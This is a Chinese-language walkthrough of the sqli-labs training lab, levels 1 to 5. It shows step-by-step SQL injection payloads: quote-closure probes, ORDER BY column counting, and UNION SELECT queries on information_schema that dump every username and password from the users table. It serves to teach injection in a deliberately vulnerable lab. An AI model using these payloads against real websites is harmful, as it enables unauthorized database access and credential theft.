sqli-labs解题记录
Less-1
1.进入第一题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id

2.构造?id=1,页面显示正常

3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹

4.构造?id=1' and '1'='1页面重新显示正常,由此判断出这题是单引号字符型注入

5.构造?id=1' order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常

构造?id=1' order by 2 --+页面显示正常

构造?id=1' order by 3 --+页面显示正常

构造?id=1' order by 4 --+页面报错,由此可知该表字段数为3

6.构造?id=-1' union select 1,2,3 --+判断出回显点为该表的第二、三字段

7.构造?id=-1' union select 1,2,database() --+知道了数据库名为security

8.构造?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users

9.构造?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段

10.构造?id=-1' union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码

Less-2
1.进入第二题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id

2.构造?id=1,页面显示正常

3.接下来加个单引号,显示语句出错,根据报错信息可以得知是单引号影响了SQL语句的闭合,由此判断出这题是数字型注入

4.构造?id=1 order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常

构造?id=1 order by 2 --+页面显示正常

构造?id=1 order by 3 --+页面显示正常

构造?id=1 order by 4 --+页面报错,由此可知该表字段数为3

5.构造?id=-1 union select 1,2,3 --+判断出回显点为该表的第二、三字段

6.构造?id=-1 union select 1,2,database() --+知道了数据库名为security

7.构造?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users

8.构造?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段

9.构造?id=-1 union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码

Less-3
1.进入第三题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id

2.构造?id=1,页面显示正常

3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号和括号包裹

4.构造?id=1') order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常

构造?id=1') order by 2 --+页面显示正常

构造?id=1') order by 3 --+页面显示正常

构造?id=1') order by 4 --+页面报错,由此可知该表字段数为3

5.构造?id=-1') union select 1,2,3 --+判断出回显点为该表的第二、三字段

6.构造?id=-1') union select 1,2,database() --+知道了数据库名为security

7.构造?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users

8.构造?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段

9.构造?id=-1') union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码

Less-4
1.进入第四题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id

2.构造?id=1,页面显示正常

3.接下来加个双引号,显示语句出错,根据报错信息可以得知参数id的值被双引号和括号包裹

4.构造?id=1") order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常

构造?id=1") order by 2 --+页面显示正常

构造?id=1") order by 3 --+页面显示正常

构造?id=1") order by 4 --+页面报错,由此可知该表字段数为3

5.构造?id=-1") union select 1,2,3 --+判断出回显点为该表的第二、三字段

6.构造?id=-1") union select 1,2,database() --+知道了数据库名为security

7.构造?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users

8.构造?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段

9.构造?id=-1") union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码

Less-5
1.进入第五题,显示Please input the ID as parameter with numeric value,告诉了我们参数为id

2.构造?id=1,页面显示You are in...........,不再像前4题显示name和passw

3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id的值被单引号包裹

4.构造?id=1‘ order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常

构造?id=1' order by 2 --+页面显示正常

构造?id=1' order by 3 --+页面显示正常

构造?id=1' order by 4 --+页面报错,由此可知该表字段数为3

5.构造?id=-1' union select 1,2,3 --+判断回显点,结果发现行不通


浙公网安备 33010602011771号